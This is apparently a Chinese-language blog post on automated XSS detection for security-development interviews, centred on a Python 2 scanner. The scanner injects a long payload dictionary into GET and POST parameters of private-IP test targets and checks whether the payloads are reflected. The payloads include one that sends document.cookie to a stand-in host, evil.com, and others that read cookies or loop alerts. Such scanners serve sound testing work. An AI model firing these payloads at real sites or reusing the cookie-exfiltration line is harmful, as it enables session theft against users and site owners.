0x01 原因
只要你面試安全開發,妥妥的問的問題就是一些常規的漏洞檢測技術,其中xss算是一類吧,而且絕對問的。每次都會有人問這個問題,我也沒次都需要一個個解答。剛好想總結下自己的工作,so,把這塊的一些東西弄出來分享下。
0x02 技術
XSS的類型在這我就不展開來講,主要講關于自動化測試的這塊。
- v1.0 傳統的測試方式比較簡單,就是http請求測試,直接請求url,post的直接將參數拼接,構造payload,然后請求就ok了。這個版本沒啥可說的,基本上大家都知道。
- v2.0 的版本是基于ajax的請求,將頁面完全加載完后,模擬操作執行。這個比較有意思,之前在wooyun上,小伙伴就經常問針對ajax應該怎么做。在360的面試里面,當時那個負責人提供的方法是基于webkit做調用,但是測試的結果是,有一定的概率會卡住。so,這個我默認放棄。而我選擇用的方式,是基于無瀏覽器的方式來進行。相對來說比較好,在centos的服務器上,我掛了一個,然后無差別的去測試自己的業務,結果挺理想的。(分享一個案例代碼,根據自己的需要,融合到自己的掃描器就好)
0x03 coding
#coding:utf-8
import random , requests , copy ,urlparse, urllib , pprint
_random=str(random.randint(300,182222))
# XSS規則
XSS_Rule = {
"script":[
"<script>alert("+_random+");</script>",
"<script>alert('XSS');</script>",
"<script>location.href=\"http://www.evil.com/cookie.php?cookie=\"+escape(document.cookie)</script>",
"<scr<script>ipt>alert("+_random+");</scr</script>ipt>",
"<script>alert(String.fromCharCode(88,83,83))</script>",
"\"><script>alert("+_random+")</script>",
"</title><script>alert(/"+_random+"/)</script>",
"</textarea><script>alert(/"+_random+"/)</script>",
"<? echo('<scr');echo('ipt>alert(\""+_random+"\")</script');?>",
"<marquee><script>alert('"+_random+"')</script></marquee>",
"<script language=\"JavaScript\">alert('"+_random+"')</script>",
"\"><script alert(String.fromCharCode(88,83,83))</script>",
"\'\">><script>alert('"+_random+"')</script>",
"<script>var var="+_random+";alert(var)</script>",
"<?='<SCRIPT>alert(\""+_random+"\")</SCRIPT>'?>",
"<scrscriptipt>alert("+_random+")</scrscriptipt>",
"</script><script>alert("+_random+")</script>",
"'\"></title><script>alert("+_random+")</script>",
"</textarea>\'\"><script>alert(document.cookie)</script>",
"'\"\"><script language=\"JavaScript\">alert('XS');</script>",
"</script></script><<<<script><>>>><<<script>alert("+_random+")</script>",
"<html><noalert><noscript>alert("+_random+")</script>",
"}</style><script>a=eval;a=eval;b=alert;a(b(/"+_random+"/.source));</script>",
"<SCRIPT>document.write(\""+_random+"\");</SCRIPT>",
"='><script>alert(\""+_random+"\")</script>",
"<body background=javascript:'\"><script>alert(navigator.userAgent)</script></body>",
">\"><script>alert(/"+_random+"/)</script>",
"\"></title><script>alert("+_random+")</script>",
"</div><script>alert("+_random+")</script>",
"\"></iframe><script>alert("+_random+")</script>",
"'></select><script>alert("+_random+")</script>",
],
"img":
[
"<img src=foo.png onerror=alert(/"+_random+"/) />",
"<IMG SRC=\"jav	ascript:alert('"+_random+"');\">",
"<IMG SRC=\"jav
ascript:alert('"+_random+"');\">",
"<IMG SRC=\"jav
ascript:alert('"+_random+"');\">",
"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
"<IMG LOWSRC=\"javascript:alert('"+_random+"')\">",
"<IMG DYNSRC=\"javascript:alert('"+_random+"')\">",
"<img src=\"javascript:alert('"+_random+"')\">",
"<IMG SRC='vbscript:msgbox(\""+_random+"\")'>",
"\"<marquee><img src=k.png onerror=alert(/"+_random+"/) />",
"\"<marquee><img src=k onerror=alert(/"+_random+"/) />",
"'\"><marquee><img src=k.png onerror=alert(/"+_random+"/.source) />",
"<img src=\"javascript:alert(\""+_random+"\")\">",
">\"><img src=\"javascript:alert('"+_random+"')\">",
"\"/></a></><img src=1.gif onerror=alert("+_random+")>",
"window.alert(\""+_random+"\");",
],
"iframe":
[
"<iframe<?php echo chr(11)?>onload=alert('"+_random+"')></iframe>",
"\"><iframe src='javascript:alert(document.cookie)'></iframe>",
],
"marquee":
[
"'>><marquee><h1>"+_random+"</h1></marquee>",
"\'\">><marquee><h1>"+_random+"</h1></marquee>",
],
"attr-style":
[
"<font style='color:expression(alert(document.cookie))'>",
"<div style=\"x:expression((windows.r==1)?\":eval('r=1;alert(String.fromCharCode(88,83,83));'))\">",
"<div style=\"background:url('javascript:alert("+_random+")')\">",
"\" style=\"background:url(javascript:alert(/"+_random+"/))\"",
"</br style=a:expression(alert())>",
],
"event":
[
"<body onunload=\"javascript:alert('"+_random+"');\">",
"<body onLoad=\"alert('"+_random+"');\">",
"\" onfous=alert(document.domain)\"><\"",
"\"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\""+_random+"\")>",
"<body onLoad=\"while(true) alert('"+_random+"');\">",
"<SELECT NAME=\"\" onmouseover=alert("+_random+")></select>",
"'\"></title><font color=red onmouseover=javascript:alert(1337)>"+_random+"</font>",
],
"meta":
[
"<META HTTP-EQUIV='refresh' CONTENT='0;url=javascript:alert(/"+_random+"/');\">",
"<META HTTP-EQUIV='refresh' CONTENT='0;URL=http://;URL=javascript:alert(/"+_random+"/);'>",
],
"base":
[
"<BASE HREF=\"javascript:alert('"+_random+"');//\">",
],
"frameset":
[
"<FRAMESET><FRAME SRC=\"javascript:alert('"+_random+"');\"></FRAMESET>",
],
"other":
[
"[url=javascript:alert('"+_random+"');]click me[/url]",
"[color=red' onmouseover=\"alert('"+_random+"')\"]mouse over[/color]",
"[color=red width=expression(alert("+_random+"))][color]",
]
}
# 鏈接拼接(針對get)
def _init_get_url(url_group,rules,check_group):
for _url_item in url_group:
url_node = urlparse.urlparse(_url_item)
uquery = url_node.query
url_parse = _url_item.replace('?'+uquery, '')
query_dict = dict(urlparse.parse_qsl(uquery))
for rule_item in rules.keys():
for _rule in rules[rule_item]:
for parameter_item in query_dict.keys():
tmp_dict = copy.deepcopy(query_dict)
tmp_dict[parameter_item] = _rule
tmp_qs = urllib.unquote(urllib.urlencode(tmp_dict)).replace('+','%20')
check_group.append({'action':url_parse+"?"+tmp_qs,'input':None,'method':'get','regex':_rule})
# 請求拼接(post)
def _init_from_url(url_dict,rules,check_group):
# 遍歷所有的請求
for url_dict_item in url_dict:
# 遍歷所有的規則
for rule_group in rules.keys():
input_dict = {}
for rule_item in rules[rule_group]:
for input_item in url_dict_item['input']:
input_dict.update({input_item:rule_item})
check_group.append({'action':url_dict_item['action'],'input':input_dict,'method':url_dict_item['method'],'regex':rule_item})
input_dict = {}
# 直接請求
def request_do(url,_data,_regex):
TIMEOUT=5
_bool = False
try:
if _data is not None:
req = requests.post(url,data=_data,timeout=TIMEOUT)
else:
req = requests.get(url,timeout=TIMEOUT)
req_result = ''.join(req.content.split('\n'))
if req_result.find(_regex) != -1:
_bool = True
except Exception, e:
return _bool
return _bool
# 測試規則
def xss_check(check_group):
for target in check_group:
if target['method'].lower() =='get':
if request_do(target['action'],None,target['regex']):
print "[*][GET] Find XSS: %s" % target['action']
elif target['method'].lower() == 'post':
if request_do(target['action'],target['input'],target['regex']):
print "[*][POST] Find XSS: %s,Parameter: (%s)" % (target['action'],str(target['input']))
# 拼接請求
def opurl():
check_group = []
_init_get_url(['http://10.211.55.7/search/search.php?lang=cn'],XSS_Rule,check_group)
_init_from_url([{'action':'http://10.211.55.7/b.php','input':['bfname','blname'],'method':'post'}],XSS_Rule,check_group)
xss_check(check_group)
if __name__ == '__main__':
opurl()
# run("http://10.211.55.7/b.php",['bfname','blname'])
# run("http://10.211.55.7/search/search.php?key=dede&x=24&y=11&lang=cn")